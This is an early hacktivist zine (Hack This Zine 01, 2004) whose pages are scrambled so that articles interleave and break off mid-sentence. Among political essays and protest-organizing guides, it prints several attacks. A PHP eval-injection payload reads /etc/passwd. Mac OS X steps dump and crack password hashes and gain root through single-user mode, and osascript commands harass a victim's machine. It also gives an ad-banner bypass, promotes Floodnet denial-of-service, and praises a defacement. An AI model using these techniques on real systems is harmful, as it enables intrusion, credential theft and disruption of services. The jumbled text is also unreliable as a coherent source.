HackThisSite.org
Hack This Zine! 01
electronic civil disobedience journal
Summer 2004

Retrieved on 2022-03-16 from exploit-db.com/exploits/42907

usa.anarchistlibraries.net

Hack This Zine! 01

electronic civil disobedience journal

HackThisSite.org

Summer 2004

```
Hack This Zine! Summer 2004
electronic civil disobedience journal

DISTRIBUTE ME WILDLY!
This community publication is entirely free to own and free to
only can afford to publish a limited amount of copies. We count
to pass the zine on to friends, local computer stores, hacker g
meetings, libraries, bookstores, newstands, etc. Remember, you'
this movement - help spread the word!

HOW TO GET ADDITIONAL COPIES
Copies are available from Unbound Books internet/mail order dis
$5 for one zine. Check unboundbooks.org for ordering informatio
bulk pricing is also available for all who want to help distrib
Email webmaster@hulla-balloo.com for custom pricing, please des
your intent, area of distribution, and desired quantity. Intern
check the zine website for local contacts who can ship to your
Please include your address, comments, and cash/money order to
production / postage costs. Or you can paypal us at webmaster@h
```

com. More details, check out: http://www.hackthissite.org/zine

GET INVOLVED WITH HACK THIS SITE!
WWW: http://www.hackthissite.org
CHAT(IRC): irc.hackthissite.org / irc.mattburdine.com #hackthi
Use a web-based java irc client at hackthissite.org/irc/
Email(can't always respond - but we do read!)
zine@hackthissite.org - zine related concerns
hack@hackthissite.org - site / organization related
webmaster@hulla-balloo.com - criminal mastermind
Meetings are held in IRC every few weeks

PARTICIPANTS

HTS STAFF:
Xec96
ReDucTor
DarkOneWithANeed
spiffomatic64
The_Anarchist
Sanjuro
OutThere
Darksider
kleinnico
SavageTiger
weekend hacker
soulsyphon
IceShaman
blakhawkftp
Shox2daShox
BIG
ikari
WolfSage
mraellis

psyche
MrBrett
Wyrmkill
bigpy2003
buz

ZINE TEAM:
Xec96
Pantalaimon996
blakhawkftp19
Daemon13

SUBMISSIONS
DragonMaw
RaH
Xec96
psyche
Fetus
Trojan
plastek
ikari
ReDucTor

EDITING
Fetus
arun
Peter Wortz
caliginouschild

ELECTRONIC COPIES OF
HACK THIS ZINE
While we charge for physical copies
of the zine to cover production costs,

we believe that all information should be free. Electronic copies of HTZ are available in PDF and TXT form online. Please distribute wildly to friends, local computer and hacker user groups, libraries, bookstores, etc.

hackthissite.org/zine/HTZ1.txt
hackthissite.org/zine/HTZ1.pdf

HTZ OPEN SUBMISSIONS!
Hack This Zine is open to all submissions of any sort - articles, pictures, cartoons, hacks, ideas, whatever you think would be appropriate. We cannot publish everything but we certainly look everything over. If you get something printed, we'll send you a free zine! Send everything to zine@hackthissite.org.

HACK THIS SITE
COLLECTIVE
HTS is a volunteer project run by the Hack This Site collective. We operate using a directly democratic decision making process without any authoritative hierarchy. We engage in open meetings over IRC where all users are invited to participate.
For more information about how this project is structured, please see the HTS Project Organizing Guide at:

hackthissite.org/info/organize.php

scandal has opened many people's eyes to the disregard corporations have for public interest.

This campaign would not have been successful without the diligent effort of hackers and political activists working together. Time and time again, history proves that people have the ability to organize cooperatively to put direct pressure on politicians and institutions to make progressive changes. Hopefully this will set a precedent for future successful electronic civil disobedience campaigns in the years to come.

hackthissite.org/info/organize.pdf

Hack This Zine?

Most people familiar with Hack This Site might be a bit confused. A magazine? I thought HTS was about wargames and security challenges. Yes, but over the past year we've experienced so much more with the development of the IRC server, user-submitted articles and resources, forums, and the internal staff structure. We've become a living community with many on-going projects managed by active users sharing their experiences with others. It has become necessary to begin publishing a magazine to explore the hacking scene. The movement we were building has more social signifi cance than a mere training ground.

Activism? I thought this was a hacking zine...

Purely hacker zines have been done to death thousands of times, never making any impact in the status quo by shaping culture or politics. Instead of reinventing the wheel and competing with other larger distros by merely keeping up with the latest tech news, we're going to be discussing the practical usage of hacking skills as a means to fi ght for social justice. Considering today's political climate, it is becoming increasingly imperative that we tune in to the world around us, to take a stance, and give a fuck.

It is foolish and destructive to expand one's hacking skills without the development of social awareness, knowledge of current events, and political ideology. Our intention is not merely to raise technical consciousness, but social

and political as well. We intend to keep up with the latest hacktivist news - updates on electronic civil disobedience campaigns, the latest threats of cyber tyranny against our civil rights, and ways people can get involved in the digital freedom movement.

The New World Order

Nonstop cycles of fear, consumption and wage-slavery. We are pumped full of fear-mongering propaganda so that we willingly submit ourselves to the State's oppression - giving them free reign to systematically destroy our freedoms and bring about a new age of big brother well beyond the imagination of George Orwell. Initiatives like Total Information Awareness, the USA PATRIOT Act, Operation TIPS, email monitoring systems, the Offi ce of Homeland Security, RFID product codes, and the continuous attempts to tap and monitor all mediums of communication make it clear of the establishment's intent to transform our society into one where our every thought and movement is closely monitored and calculated to see whether we are a threat to their cold, sterile dream of law and order.

There's a fucking war on!
We are kept under tight control and surveillance so that the military industrial complex can continue to manufacture bullshit pretexts for fake wars all for the profi t of the rich ruling classes The Bush administration has made a killing in privatizing Iraq's oil resources(Halliburton), reco efforts(Bechtel), and otherwise allowing his corporate buddies to loot Iraq for all it's worth. For weapons of mass deception and no ties to Al-Qaeda or 9/11.
Are we any safer from terrorist attacks? Every friend and

copyright and freedom of information law, the threat to the democratic process that proprietory coding poses, and etc.

Corporations, in the defense of their relentless quest of the almighty dollar, have violently disregarded the constitution. If the democratic process can be sold to the highest bidder, then the public will forever be under the greedy wrath of profiteering corporations who have no concern of the fundamental rights to freedom of the press and democratic elections.

Activists are angry, demanding that all information must be released to public scrutiny; instead of being locked away, hiding important and damning secrets which would hurt ‘‘profit’’. A closed privatized voting system undermines the very concept of open, public, and democratic elections. Public systems should be based on an opensource model, which historically have yielded the most secure, stable, and democratic systems.

Political Ties
It is of little surprise that Diebold has made large financial contributions to the Bush administration. Would you want a president who received dirty money from breaking copyright law and undermining the democratic process?

A Dose of Optimism
Diebold has been proven wrong, criminally negligant, and threatens to undermine the democratic process of our country. The Diebold

be false by several students at major universities, as the memos did not meet the DMCA requirement for copyrighted material. Excerpt:

‘‘Diebold’s blanket cease-and-desist notices are a blatant abuse of copyright law,’’ said [Electronic Frontier Foundation] Staff Attorney Wendy Seltzer. ‘‘Publication of the Diebold documents is clear fair use because of their importance to the public debate over the accuracy of electronic voting machines.’’

The staff at Why-War.com launched an electronic civil disobedience campaign against Diebold, mirroring copies of the memos to hundreds of places on the internet, including file sharing services, usenet, and www mirrors. In response, Diebold launches more lawsuits for the leaking of internal memos to the general public. This is proved in court to be a violation of the freedom of information act as well as the bill of rights(freedom of speech).

Finally, due to the success of the electronic civil disobedience campaign, press coverage of the memos, the denouncement of their legal tactics, and a federal order, Diebold retracted all ceaseand-desist letters and suits, and offered a public apology.

Freedom of Information
The Diebold scandal raises all sorts of controversial legal and ethical dilemmas. The accountability of private corporations who abuse

family member of the tens of thousands of innocent civilians that died in Iraq are now looking at ways of getting back at the U.S. The utter hypocrisy of the war on terror... we have killed several times more people that have died on 9/11. Pre-emptive war is state-sponsored terrorism. Carpet bombing cannot address the complex social and political factors that actually create anti-american terrorism - in fact, it feeds it.

We are building an international movement to defend the rights of all people to self-determination from the ruling classes of nations worldwide. We want neither Bush, nor Saddam, nor Blair. Together we can organize in an open and equal basis and build our own societies free of authoritative power structures and parasitic bosses and rulers.

The Digital Freedom Movement
While the madness of the State is spiralling towards self destruction, we’ve built our own communities based on the open spirit of free access to all information. Open source programming has successfully developed some of the best softwares, operating systems, and mediums of communication - all free to own and free to share, independe of authoritative power structures. It is a practical application of anarchist organizing principles.

It is of little surprise that our movement is under attack by large capitalists like Microsoft, SCO, and the record industry. Because our software is free to own and free to share, their monopoly over computing and media industries is threatened because they cannot compete with their bloated, obsolete and expensive systems. Rather than finding ways of integrating these fantastic services

into our society, corporations will go to any length to cling to their outdated models of profit and exploitation. We need to directly to the heart of the matter: we are under attack, and we have to equip ourselves to fight back.

It's one attack, one struggle.
All of these injustices are not unrelated. These struggles are linked, and everything is connected. It's the system! From the presidents that bring the people to war, to the cops that beat protesters, to the bully on the playground stealing lunch money, it is becoming glaringly obvious that we cannot trust figures of authority. It's up to us to organize on a cooperative, anti-authoritarian basis and build our own free societies on the ashes of the old.

We don't have a lot of time left. Whether it be the madness of the warring nations, or the destruction of the environment, or the depletion of natural resources... we are simply consuming, reproducing, and expanding too fast for our finite ecosystem to support us. Every species has a carrying capacity. We are rapidly approaching ours.

This isn't a call for pessimism, but rather the fantastic potential that we have the ability to create dissent, rise up and put direct pressure on those responsible for this madness. Now that everything depends on complex networks of communication and the internet, hackers are in a unique position to mobilize their skills to fight for change.

Hacking as a tool to fight for social justice?
The practical application of hacking skills to fight for freed is a beautiful act of justice and liberation. If the Nazi military utilized computer networks to coordinate troop

screens. There should be a disconnect button on that. After you've signed off, move 'net.dll' back to C:\Program Files\NetZero\bin

How This Exploit Works
Obviously, the important part of this exploit is the file 'net.dll'. The NetZero start up program needs to access this file, that's why you have to move it back when you're done. The banner program needs to access this file too. If it can't find the file, the program just doesn't start. Strangley enough, it doesn't boot you off or anything. Lately when using this exploit I have noticed something though. The inactivity timeout rate is extremely low, like 5 minutes or something.

Enjoy it.

Elections Undermine Democracy by DragonMaw

Internal development memos
Diebold provides electronic voting systems for 37 different states. These systems have come under extreme controversy due to serious security issues which have come to light through internal development memos that hackers have leaked to the public. This raises the question of how corporations using privatized coding systems threaten the democratic electoral process.

Diebold Electronic Voting Systems sued several distributers of the leaked memos, claiming that ''they violated copyright law''. This was shown to

Preparation
Open up Windows Explorer and get to C:\Program Files\NetZero\bin. In this directory there is a file called 'net.dll'. Keep your attention on this file, because in just a few moments we will move it. Now without changing the directory, position the left side of the screen that only shows the directories so that you can see the directory where you are going to move 'net.dll'. This is so when you have to move the file, you won't have to go looking around for a place to put it. This is only done to speed up things, because timing in this exploit is an important factor.

Note: It isn't important where you move 'net.dll', as long as it is not in the NetZero directory and that you remember where you put it.

Carrying Out The Exploit
Keeping Windows Explorer open, start up NetZero. Click 'connect' and wait for your modem to dial and connect. As soon as your modem stops screaching (if you have your modem speaker turned off, turn it back on using control panel --> modem), quickly switch back to Windows Explorer and move the 'net.dll' file to another directory. The connection will complete. At this point you would expect your browser to open and for the banner to pop up. But nothing happens. Don't worry, the connection is fine, and you won't get booted off. You have just fooled the banner program. When you're done using the Internet, just close your borwser and a prompt will come up to close NetZero. Or just double click on the icon in the toolbar at the bottom of the screen with the two computer

movements, hackers could have thrown their war machine into disarray. If corporations and governments are out of line today, it's up to cowboys of the electronic age to turn over the system and put the people on top. Electronic civil disobedience, modern day Robin Hood, cyber activism, hacktivists!

Circumvent corporate media - Do It Yourself!
The forces that be are allowed to get away with murder because they own most channels of communication. The Clearchannel Coporation owns 1225 radio stations and 37 television stations. They are in the top 248 of the top 250 radio markets. Television, news and radio networks are largely dominated if not monopolized by these large corporations who have vested financial interests in supporting government, war, and international neo-liberal trade organizations. They fill us with their lies and distortio and turn us into unthinking, unquestioning followers of the establishment. Even in this age of internet enlightenmen hackers are portrayed as cyberterrorists.

At the center of Hack This Site is the drive to DO IT YOURSELF! Turn off that television, unplug yourself from their system, and make your own media! Underground literature will not sugar coat the news fit for your unthinking consumption - we tell the uncensored truth, explore controversy, create a platform for the free exchange of ideas, and don't patronize our readers by sugar coating raw information.

Hack This Site!
Hack This Site is a training ground for people to gain the skills and join the movement for digital freedom. We facilitate a free, open learning environment where hackers

can test and expand their skills in a realistic and legal environment Everyone should have access to all information, resources, and the opportunity to fulfill one's potentials. Of course, providing such resources requires great responsibility to see that these skills are used for positive ends. We present the usage of hacking skills as a means to fight for social justice as a positive alternative to mindless destructive black hatting. We're building an army so powerful we won't need weapons. Our revolution will require not bullets or casualties, but the curious drive of a politically motivated generation of hackers who know how to shift data around in the right direction. Hackivists of the World, UNITE!

Floodnet: Power to the People! by Trojan

In our modern age of internet enlightenment, new and innovative forms of protest are emerging on the web. One tool spearheading the protest movement is Floodnet. Floodnet is a java applet refreshing a selected page every seven seconds. Alone this have no real purpose, but when hundreds or even thousands of floodnet users connect to a page, the surge in traffic easily can crash a server. Many Major attacks have already been utilized including one on the Pentagon.

The program is genius in its simplicity. This strikes fear into the hearts of companies. The idea that thousands across the world can easily be armed for virtual warfare strikes a deep chord within them.

Windows 95 will never run flawlessly). So you take all software you had on your old computer and start installing it. Now of course you expect the software you are installing to look the same in Windows 95 as they did in 3.1 After all, how could they change? They were made before Windows 95 was anyway. That's where you go wrong, and that's where DLL's come in. As soon as you start up one of the programs, you notice the title bar is different. It's a Windows 95 title bar, with an icon next to the name of the program, and an ‘‘x’’ button to close the program next to the traditional maximize and minimize buttons. You wonder how this is possible. The answer is in the DLL. There is DLL that all programs in Windows 95 access to get information. Since the DLL in Windows 95 had the same name as the one in Windows 3.1, the old program will access it as well.

DLLs contain information on how to do something. This something could be connecting to the Internet, how to access your printer, or in this case, how to go and build a new window, how to design it etc'. The good thing about DLLs is that they:
a) Can be loaded and unloaded when the program is done with the action the DLL was required for, which saves up some valuable memory.
b) DLLs can be shared between several programs. For example: if you have two or more programs that have the option within them to start a PPP session with your dial-up Internet provider, they can all just use the same DLL, which means saving up some disk space (you won't have to have the same DLL stored on your hard drive three times). The Unix equivelants to DLLs are libraries (‘‘libs’’).

Bypassing Netzero's Ad Banner by plastek

Introduction - netzero.com

When using NetZero, the most annoying thing is that
banner at the bottom of the screen. Loading those
ads lags your connection. This really isn't that bad
especially since the service is free; except for the fact
that you never click on any of those anyway. All the
banner at the bottom of the screen does is slow you
down and take up space. So you ask, how do I kill
the banner? Well of course like anything, there is an
exploit for this. This exploit is manual, which means
you do it yourself. Sooner or later I'll write a program
to do it.

After getting some background information from a
friend (who prefers to remain anonymous), I discovered
this exploit pretty quickly.

Background
Ever look in a directory on your hard drive and see
all those .dll files? Ever got the impression that they
were just taking up space? Well actually DLL's are
very important.

First off, DLL stand for Dynamic Link Library. To understand
what a DLL is and how one works, consider
this. You have a computer with Windows 3.1 and
you want to upgrade to Windows 95. So you go out
and buy Windows 95, install it, and it works without
a flaw (keeping in mind this example is hypothetical,

''Strength in numbers'' as they say. I was recently
told of one account in which the eCommerce site
''Etoys'' sued a smaller website, and floodnet community
member ''Etoy'', claiming that etoy simply
desired traffic from typos of the word ''Etoys.com''.
The members of the Electronic Disturbance Theatre
(The Originators of Floodnet) threatened to
hold a ''Twelve days of Christmas'' strike to bring
etoys stock to zero. Needless to say, etoys backed
down, and even payed for etoy's court costs.

What could be scarier to a company? They may
be used to having people hate them, but the
idea of thousands that can strike back? So much
power in the hands of the commoners? Floodnet
allows for this.

''Only art history still knows that the famed geniuses
of the Renaissance did not just create
paintings and buildings, but calculated fortresses
and constructed war machines. If the phantasm of
all Information Warfare, to reduce war to software
and its forms of death to operating system crashes,
were to come true, lonesome hackers would
take the place of the historic artist-engineers.'' -
Frederich Kittler

Strength in numbers indeed.

MORE ON ELECTRONIC CIVIL DISOBEDIENCE:

Electronic Disturbance Theatre
thing.net/~rdom/ecd/ZapTact.html

Electro Hippie Collective
fraw.org.uk/ehippies/tools.shtml

The Hacktivist
http://www.thehacktivist.com/

The Federation of Random Action
http://www.this.is/etoytech/fra/

Electronic Product Code / RFID:
New meaning to Big Brother

Attacks on civil liberties and the Orwellian transformation
of our country are not new concepts to
those who have not been living under a rock for
the past few years. We have legislation like the
USA PATRIOT Act that gives unprecedented police
state powers to law enforcement and government.
We have government spy agencies such as Total
Information Awareness (now named ‘terrorist information
awareness’) that watches our credit card
purchases, what library books we check out, websites
we visited, and where we travel. The Office of
Homeland Security, Carnivore, Echelon, Operation
TIPS, etc. But many people are relatively unaware
of a new technology that when introduced to the
mainstream will set new precendents to the survellience
powers of corporations and governments.

Over the next few years, the old UPC barcodes of
times past will be replaced by the new Electronic
Product Code (EPC). This new system implements
a technology known as Radio Frequency Identification


```
$body = preg_replace(‘‘/\[u\](.*)\[\/u\]/si’’,’’<u>\\1</u>’’,$body)
$body = preg_replace(‘‘/\[img\](.*)\[\/img\]/si’’,’’’<img src=\’’’.
replace(‘ ‘,’%20’,’\\1’).’\’’>’’,$body);
$body = preg_replace(‘‘/\[url\](.*)\[\/url\]/sie’’,’’’<a href=\’’’.
‘,’%20’,’\\1’).’\’’>\\1</a>’’,$body);
$body = preg_replace(‘‘/\[url=(.*)\](.*)\[\/url\]/sie’’,’’’<a href
‘,’%20’,’\\1’).’\’’>\\2</a>’’,$body);

Nice BB Code uh?
[b]bold[/b] [u]underline[/u] [i]italics[/i] [img]http://somesit
[url]http://somesite.com/[/url] [url=http://somesite.com/]Some

Can you spot a way to expoit it? Lets take a look at the url ta
[img]http://somtesite.com/img.gif[/img]

Then becomes ‘<img src=’’’.str_replace(‘ ‘,’%20’,’http://somesit

This then gets put through eval:
eval(‘<img src=’’’.str_replace(‘ ‘,’%20’,’http://somesite.com/im

How can we exploit it?, how about leaving the quote marks, then
[img]http://somesite.com/img.gif’.fi le_get_contents(‘/etc/pass

This then becomes:
eval(‘<img src=’’’.str_replace(‘ ‘,’%20’,’http://somesite.com/im
etc/passwd’).’’’).’’’>’)

Woah, look at that, now we have the contents of /etc/passwd. So
to this sorta stuff, heres a few tips:
1. Use literal strings
2. Escape The literal char, e.g. turn it into an entitiy
3. Use preg_replace_callback instead
4. Match only what you need not everything
And people with regex test sites, get to work fixing, your goin
```

There is a certain high one can get from organizing a successful action. If done right, the protest can bse a libera experience for you and your comrades beyond the best sex or drugs. If you catch the ecstasy of the moment, you know you have been doing something right.

After the action, you should prepare a communique about the events, and call upon other members and their parents to call the school board to leave their comments. Depending on the success of your action, they may be forced to issue a statement or change policies if you have built a solid movement with a serious argument that pressures the power that be. And there's room to grow.

You're probably wondering why this guide appeared in this magazine. It's not about hacking(computers, that is). However, it is about building movements of people to accomplis something in real life - a quality that is lacking in computers and computer users. In this increasingly oppressive world, people need to work with others and fight for social justice. All too often hackers consider themselves elite and above it all in the compute realm, but when presented with injustice in the realm world, they simply submit themselves to dominating forces. No more. Resistance is fertile!

Hacking Regular Expression by ReDucTor

The issue you are about to use, is with in perl compatable reg Expression. Now, lets start looking at some code:

```
$body = preg_replace(“/\[b\](.*)\[\/b\]/si”,”<b>\\1</b>”,$body
$body = preg_replace(“/\[i\](.*)\[\/b\]/si”,”<i>\\1</i>”,$body
```


(RFID). They are mini chips that transmit radio waves that contain unique identifying information. These transmissions are picked up by nearby base stations which logs the time and location. Unlike the UPC, these new EPC chips contain a unique code for each individual instance of a product instead of just what type of product. This means they will be able to track where your individual product is at any time.

The EPC will make its appearance in the mainstream quicker then you might imagine. By 2005, every product sold at Walmart will contain these RFID tracking chips. Some corporations are already using these chips(Gilette). Eventually, the UPC will be phased out completely and most consumer products will carry these chips. On your watch, your shoes, your and you won't be able to buy something more expensive than a snickers bar that doesn't have an EPC chip. The European Union is even considering using this chips on cash (removing the anonymous quality desired by undergrond revolutionary hackers who do not trust the banks and credit card corporations - and rightfully so!)

Corporations say that these chips will be used to gather marketing information by monitoring what stores you shop at, where you live, and to prevent shoplifters. There is no current legislation about the placement of these chips or it's use - products containing RFID do not need to be marked or disabled as they leave the store.

It is not hard to understand the immense threat to

our civil liberties that this new technology presents. Since they are already able to connect purchased products to the credit card information in your name, there is no end to the amount of information they will have. We are not far off from a world where we can be tracked wherever we go from little chips embedded into our clothes, shoes, and watches. A world where governments and corporations know what shops we visit, what products we have in our homes, and what we're carrying on us at any given time. It sounds surreal, but these are crazy times...

The RFID chips themselves can be disabled rather easily - but their strength is in their relatively inexpensive price to produce and the ability for these chips to be rather obscurely hidden within consumer products. What needs to be explored is the servers and data capturing networks that log the movement of these chips. Such systems would be very attractive targets for hackers fighting cyber tyranny. Also, there needs to be new devices that can produce a counter effect to the RFID chip. It is up to the us, the people, to counteract these malcious intrusions. This will become increasingly imperative as years pass by and RFID becomes tightly intertwined with American consumer culture: where we will not be able to live our lives without these chips watching our every move.

More reading about RFID / EPC:
http://news.com.com/2010-1069-980325.html
http://www.spychips.com
http://www.caspian.com

everyone you see - even people you don't know. Do not be afraid to talk to people you don't know - get used to presenting your movement in a quick two minute discussion, and _don't be shy_!

Handling the local press is an important factor to consider. A press release should be drafted explaining what, who, where, when, and why. It should be short and concise, yet still keep all the points you want to make intact. Stick to a few key phrases that are repeated everywhere - signs, buttons, leaflets, etc. Around a week before the event, send press releases to all the local newspapers and television networks. Try to invite reporters to take pictures and interview people. Bring your own people to take pictures and document the event. It is easy to get

The protest itself is a blank canvas for you to draw on. Have ideas for activities ready. Don't be afraid of creating a ruckus - but everything you do must have an obvious purpose. Keep things light-hearted and energetic. Don't sit still for a second - dull moments are killer, and people will lose interest. Bring fun things to the protest itself. Make drums out of buckets. Make flags and signs. Bring people to play instruments. Get a dance circle going. Have lots of random shit to hand out. Consider graffiti to add some life to your area. Make it lively, entertaining, and interesting - yet still have a very clear, concise point which you are able to back up. When people start leaving, they should be filled with the spirit of activism, having made contacts with other activists, and looking forward to or organizing their own future actions. People should be energized and empowered after the action, not disenchanted and dulled.

while shouting stuff! Make a scene! Blow bubbles and fill the halls with laughter! Get hundreds of copies to your friends so that they can distribute them to their friends and their friends, etc. Make sure every single student has access to it. And promote discussion - bring up the debate in your classes, at lunch tables, with strangers in the lunch line, etc. By now, it has entered mass consciousness, the seeds have been planted, you have a strong activist scene, and the time is ripe for an action.

What you should do depends entirely on the context your movement takes place in. Try to coincide your action with a particular date of significance(in response to a controversial policy made by the government or your school administration, anti-war protest in nearby cities, etc). If possible, look at your local independent media center(indymedia.org) to see if there are other student activist groups planning any actions - and try to coordinate your actions with theirs. Some things to consider might be a student walkout, a sit-in in your school, a march to join up with a larger protest downtown, or in some situations, a simple teach-in to just discuss the issues might be appropriate. However, in order to have any degree of success, you must find a way to bring all the unfocused meaningless rebellion into organized rebellion with a purpose.

Weeks before the event, you should prepare some outreach propaganda. Tape posters up on the walls, in restrooms, classrooms, bulletin boards. Make quarter page flyers explaining where, when, and why. Make a website, advertise it in the official school paper. If you can, try to get it on the school announcements. Make it exciting - hype it up! Make it the topic of everyone's discussion. Tell

Hack This Zine summer release

Our first hacktivist magazine is published! 24 pages of the latest updates in electronic civil disobedience campaigns, exploits, activism, and more.
Available in PDF, TXT, HTML and in print by mail via Unbound Books distribution collective. We are launching an international campaign of distribution: people are encouraged to distribute as many copies as widely as possible to local libraries, hacker meetings, infoshops, computer user groups, etc. We are looking for people to help redistribute copies in their

HOPE Hacker Convention
Jule 9-11 | NYC | the-fifth-hope.org

DEFCON 12 Hacker Convention
July 31-Aug 1 | Las Vegas | defcon.org

DNSCon network security council
August 13-15 | Blackpool, UK / dnscon.org

HTS is planning on having a presence at the DEFCON 12 / HOPE / DNSCON hacker conventions. We're setting up a booth to distribute HTS pamphlets, sell copies of the zine, and set up systems where people can play the challenges. All are invited to come chill with the developers of HTS. We are also planning on getting a hotel room where we can get together as many HTS people as possible to go on all sorts of crazy adventures.

CrimethInc National Convergence
Aug 20-Aug 26 | Des Moines, Iowa | crimethinc.com | bestplaceever.com/crimethinc/

All are invited for a weeklong anarchist training session. There will be radical video showings, direct action training, organizing workshops as well as other mischief and mayhem. Immediately afterwards all will be travelling to particpate in the actions against the Republican National Convention in NYC.

Republican National Convention

Aug 29-Sept 4 | NYC | rncnotwelcome.org
The RNC is being held in New York City in an attempt to capitalize off of the fears and emotions surrounding the 9/11 terrorist attacks. George W. Bush will be nominated as the presidential candidate of the Republican Party. Hundreds of thousands will descend upon the city to see that the event ends in total failure. Groups are also organizing an electronic civil disobedience campaign against a variety of right-wing and corporate websites. All are encouraged to help protest in any way they can.

Fundamentals of Mac OS X Security

Hardly considered hacking at all, these tips are required security basics when using Mac OS X.

announcing when, where, and why. Get everyone you can together in one room to make some decisions about what can be done about the issue in question. Have everyone go around the room and introduce themselves.
Make sure no one feels uncomfortable or left out. I also recommend that you read up about how to organize a meeting based on the directly democratic concensus process where everyone is equal to share ideas on an anti-authoritarian basis.

Whether you want to organize an offi cial student group or remain unoffi cial is up to you. There are advantages and disadvantages. While being an offi cial student organizatio the administration will be forced to consider your actions with more legitimacy, and provide you with school resources, rooms, announcements on the PA, putting posters up around school, etc. However, you are bound by school regulations, which may tie your hands from any fun or rebellious activities. Of course, that does not mean that you can work independent of the organizationIt entirely depends on the context of your school.
Gather as much information about school policies regarding student organizations and discuss this choice with the other group members.

Now that you have an activist scene growing at your school, it’s time to release some publications. Consider making an underground newsletter to bring your message to the people. Make the content quick, concise, but most importantly, INTERESTING! Boredom is counterrevolutionary. Your movement needs to be fun, enjoyable and exciting, or no one will want to participate. And when you distribute it to students, raise a ruckus! Stand near the doors in the cafeteria handing out your propaganda

have a clear message, you will be quickly written off as mindless teenage rebellion. By having a purpose for the action, you gain legitimacy among faculty and conservative students and reduce the risk of discipline from the authorities. So make this meaningful. Remember: this is a forum for you to express your dissatisfaction with the status quo. Believe me, every school has something unfair about it - dress code, censorship, abusive administrato pledge of allegiance, etc. If you play your cards right, something may even get done about it.

Right. So now that you have selected a few issues to raise a ruckus about, the fi rst thing you must do before you develop grandoise plans for student revolution is to start talking to people. Gather their thoughts about these issues. Try to get them all riled up and wanting to take action. While many people have their personal differences, almost everyone if you talk to them long enough will agree on some fundamental principles that things are incredibly unfair and something should be done about it.

You will quickly discover that one of the fi rst things that you must overcome is any personal inhibitions you might have towards people. Do NOT be shy or self-restrained. Don't be afraid to go up to total strangers in a friendly way and start sharing all these personal experiences. Reach out to people of different cultural backgrounds. Don't let social cliques and popularity contests keep the student body divided - believe me, everyone can unite around the common idea that school is a big waste of time.

Once you get a band of students who want to do something about it, you should call a general meeting. Make little fl yers and posters and put them up around school

If you have access to the command line in Mac OS X under any user, you can get NetInfo to dump passwd information to stdout with the following command: 'nidump passwd .' DES-encrypted passwords are dumped to stdout. You can run this through any standard UNIX password cracker like John The Ripper(also available for Mac OS X at openwall.com/john).

Another way of gaining root is to sudo su root it - allowing you access to a root prompt only by knowing an administrator account(which can be retreived through nidump). You can also reset the administrator password by booting from a Mac OS X install cd.

If you have physical access to the machine, try restarting and holding Command + S - this will boot into 'Single User Mode', which is essentially a root shell. Note that you will not be able to dump the passwd database until you load the NetInfo Database, which you can do so by runnng /sbin/ SystemStarter.

If you've got shell access, there's all sorts of fun things you can do. Personally, I like Mac OS X's built-in speech engine used in conjunction with osascript, a command line AppleScript interpreter. Try executing this:

[local:~] xec96% osascript -e 'say ''you are being watched'''

Assuming they have the volume turned up at a

reasonable volume(you can set system volume
by doing XXXXXXX), this will cause their computer
to physically speak the given parameter. This
can provide an endless supply of amusement, especially
if you are near enough as to hear the target
have entire conversations with their machine.
Since you have access to AppleScript's entire array
of neato system functions, there are other fun
things to do as well.

• Open browser to a specified website
[local:~] xec96% osascript -e 'open location
''http://www.larrycarlson.com/the_end'''
• Control iTunes and play music
[local:~] xec96% osascript -e 'tell application
''iTunes''' -e 'next track' -e ''end tell'' (also in place
of 'next track', try 'previous track', 'pause', 'play',
and 'open ''Macintosh HD:something.mp3''')
• Open all apps at once(essentially freezing)
[local:~] xec96% open /applications/*
Fundamentals of Mac OS X Security

[local:~] xec96% nidump passwd .
root:gRhAAGQx4AoKk:0:0::0:0:System Administrator:/var/root:/bi
xec96:Kh79zSBCAZos6:501:20::0:0:Jeremy Hammond:/Users/xec96:/b

Hacktivists Deface DARE.com in Act of Electronic Civil Disobed
republished from http://la.indymedia.org/news/2004/02/104143.p

Hackers have targeted DARE.com in political protest
of the criminalization of marijuana, the hypocrisy of
the war on drugs, and the indoctrination of today's
youth through the DARE program.

Student walkouts are a powerful act of protest. It can be
a way to unite with your peers and build a culture of resistanc
at your school. It is a way to temporarily turn your
school upside down and put the students in charge for a
change. It is also valuable organizing training for when
the real revolution comes. And if done right, it can have
a big enough impact that actual change in the system
is made.

Probably the fi rst comment you'll have is ''something like
that will never happen at my school''. At least that's what
I was saying at the beginning of my senior year of high
school. I never thought we would be able to get away
with half the stuff we pulled off. Our school was so boring,
mundane, uninteresting. By the end of the year, we
had published an underground newspaper distributed in
several local high schools, had formed a network of radical
student activists, and organized a student walkout of
hundreds of kids in protest of the war in Iraq. The entire
culture of the school has changed, and by then I actually
looked forward to going to school because there were so
many interesting things happening every day.

There is absolutely no reason why you cannot accomplish
the same, or better. The ultimate achievement
would be a student strike, sit-in, or walkout. But before
the fun stuff comes a lot of movement building. Set your
sights high, but take practical approaches to your goals.

Before we go any further, your movement must be _
about_ something. If it's just 'for the hell of it', you should
stop reading now because you will fail miserably regardless.
So you need a cause behind your movement? No!
You need a movement behind your cause! If you do not

use your standard internal antenna, or buy/build an external a
The most common (so it seems) antenna in the wardriving world
waveguide, more commonly known as a ‘‘cantenna’’, because of its
quality and price. I built my cantenna with about $20 in parts
$3 can of chili, and it runs circles around my iBook’s built-i
For example, I mapped out a route around Salt Lake City, and d
twice, once with just my iBook, and once with the cantenna att
I got 40 APs with my iBook, versus 700 or so with my cantenna.
There’re a number of websites out there devoted to wardriving
with detailed instructions on building a cantenna, so Google a
bit so I don’t have to explain it here. All of the Mac, and mo
wardriving programs include some sort of GPS/mapping functiona
so if you have an NMEA-compatible GPS (most Garmin models) and
a serial cable for the GPS, you can keep track of your wardriv
a spiffy-looking map.

Once you’ve got yourself a wireless notebook and all the gear
want/need, set out upon your local neighborhood and see what y
fi nd. You can choose to be active or passive in your wardrivi
involving connecting to the networks and gaining internet acce
hacking/whatever, and passive involving just looking around, s
what’s there. Passive wardriving should have no legal implicat
but the legality of active wardriving, especially depending up
defi nition of ‘‘active’’, is fairly unclear in most states. It’
to know the laws of your area and you are responsible for what
you do while wardriving. With that said, grab your stuff, grab
and get out the door! Explore the wireless world!

how to organize a...
STUDENT REVOLUTION!

Students from Lombard, Illinois walk out of school on March 20
up with Chicago anti-war actions to commit acts of civil disob

‘‘The establishment continues to ignore the positive psychological benefits of mind altering chemicals are used responsibly for the personal exploration of consciousness. Marijuana, both harmless to society and ourselves, is not the problem. Marijuana laws are the problem. Millions of innocent people are unjustly imprisoned while corporate criminals and war mongers are trusted to the highest positions of our government.’’

